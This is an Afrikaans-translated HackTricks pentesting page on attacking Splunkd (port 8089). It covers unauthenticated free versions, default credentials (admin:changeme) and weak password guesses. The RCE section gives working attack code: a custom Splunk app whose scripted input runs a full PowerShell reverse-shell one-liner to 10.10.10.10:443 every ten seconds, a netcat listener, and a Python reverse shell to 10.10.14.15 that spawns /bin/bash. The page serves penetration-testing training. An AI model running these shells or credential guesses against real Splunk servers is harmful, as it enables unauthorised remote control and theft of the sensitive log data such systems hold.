8089 - Pentesting Splunkd

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Splunk is 'n loganalise-instrument wat 'n kritieke rol speel in die versameling, analise en visualisering van data. Alhoewel sy aanvanklike doel nie was om as 'n SIEM (Security Information and Event Management)-instrument te dien nie, het dit gewildheid verwerf in die gebied van sekuriteitsmonitering en sakelike analise.

Splunk-implementasies word dikwels gebruik om sensitiewe data te stoor en kan dien as 'n waardevolle bron van inligting vir potensiële aanvallers as hulle daarin slaag om die stelsel te kompromiteer. Verstekpoort: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

Die Splunk-webbediener hardloop standaard op poort 8000.

Opname

Gratis Weergawe

Die Splunk Enterprise-toets omskep na 'n gratis weergawe na 60 dae, wat geen outentifikasie benodig nie. Dit is nie ongewoon vir stelseladministrateurs om 'n toets van Splunk te installeer om dit te toets, wat later vergeet word. Dit sal outomaties omskep na die gratis weergawe wat geen vorm van outentifikasie het nie, wat 'n sekuriteitslek in die omgewing inbring. Sommige organisasies mag kies vir die gratis weergawe as gevolg van begrotingsbeperkings, sonder om ten volle die implikasies van geen gebruiker-/rolbestuur te verstaan nie.

Standaardlegitimasie

Op ouer weergawes van Splunk is die standaardlegitimasie admin:changeme, wat gerieflik op die aanmeldingsbladsy vertoon word. Nietemin, die nuutste weergawe van Splunk stel legitimasie in tydens die installasieproses. As die standaardlegitimasie nie werk nie, is dit die moeite werd om te kyk vir algemene swak wagwoorde soos admin, Welcome, Welcome1, Password123, ens.

Inligting verkry

Sodra jy by Splunk aangemeld is, kan ons data deursoek, verslae hardloop, dashboard skep, toepassings installeer van die Splunkbase-biblioteek, en aangepaste toepassings installeer. Jy kan ook kode hardloop: Splunk het verskeie maniere om kode te hardloop, soos bedienerkant Django-toepassings, REST-eindpunte, geskrewe insette, en waarskuwingskripte. 'n Algemene metode om afgeleë kode-uitvoering op 'n Splunk-bedieners te verkry, is deur die gebruik van 'n geskrewe inset.

Verder, aangesien Splunk op Windows- of Linux-gashere geïnstalleer kan word, kan geskrewe insette geskep word om Bash-, PowerShell- of Batch-skripte uit te voer.

Shodan

  • Splunk-bou

RCE

Skep Aangepaste Toepassing

'n Aangepaste toepassing kan Python, Batch, Bash, of PowerShell-skripte hardloop. Merk op dat Splunk met Python geïnstalleer kom, sodat selfs op Windows-stelsels jy Python-kode kan hardloop.

Jy kan hierdie hierdie Splunk-pakket gebruik om ons te help. Die bin-gids in hierdie bewaarplek het voorbeelde vir Python en PowerShell. Laat ons hierdie stap-vir-stap deurloop.

Om dit te bereik, moet ons eers 'n aangepaste Splunk-toepassing skep met die volgende gidsstruktuur:

tree splunk_shell/

splunk_shell/
├── bin
└── default

Die bin gids sal enige scripts wat ons van plan is om uit te voer bevat (in hierdie geval, 'n PowerShell omgekeerde dop), en die verstek gids sal ons inputs.conf lêer bevat. Ons omgekeerde dop sal 'n PowerShell een-liner wees:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

Die inputs.conf lêêr vertel Splunk watter skrips om uit te voer en enige ander toestande. Hier stel ons die program as geaktiveer in en sê vir Splunk om die skrips elke 10 sekondes uit te voer. Die interval is altyd in sekondes, en die inset (skrips) sal slegs uitgevoer word as hierdie instelling teenwoordig is.

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

Ons benodig die .bat lêer, wat sal hardloop wanneer die aansoek geïmplementeer word en die PowerShell een-liner uitvoer.

Die volgende stap is om Installeer app van lêer te kies en die aansoek te laai.

Voordat ons die skadelike aangepaste app oplaai, laat ons 'n luisteraar begin deur Netcat of socat te gebruik.

sudo nc -lnvp 443

listening on [any] 443 ...

Op die Laai app op bladsy, klik op blaai, kies die tarball wat ons vroeër geskep het en klik op Laai op. Sodra ons die aansoek laai, word 'n omgekeerde dop ontvang en sal die status van die aansoek outomaties na Geaktiveer oorskakel.

Linux

Indien ons met 'n Linux-gashuis sou werk, sou ons die rev.py Python-skripsie moet wysig voordat ons die tarball skep en die aangepaste skadelike aansoek oplaai. Die res van die proses sou dieselfde wees, en ons sou 'n omgekeerde dopverbinding op ons Netcat luisteraar kry en aan die gang wees.

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & Privilege Escalation

Op die volgende bladsy kan jy 'n verduideliking vind oor hoe hierdie diens misbruik kan word om voorregte te eskaleer en volharding te verkry:

pageSplunk LPE and Persistence

Verwysings

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated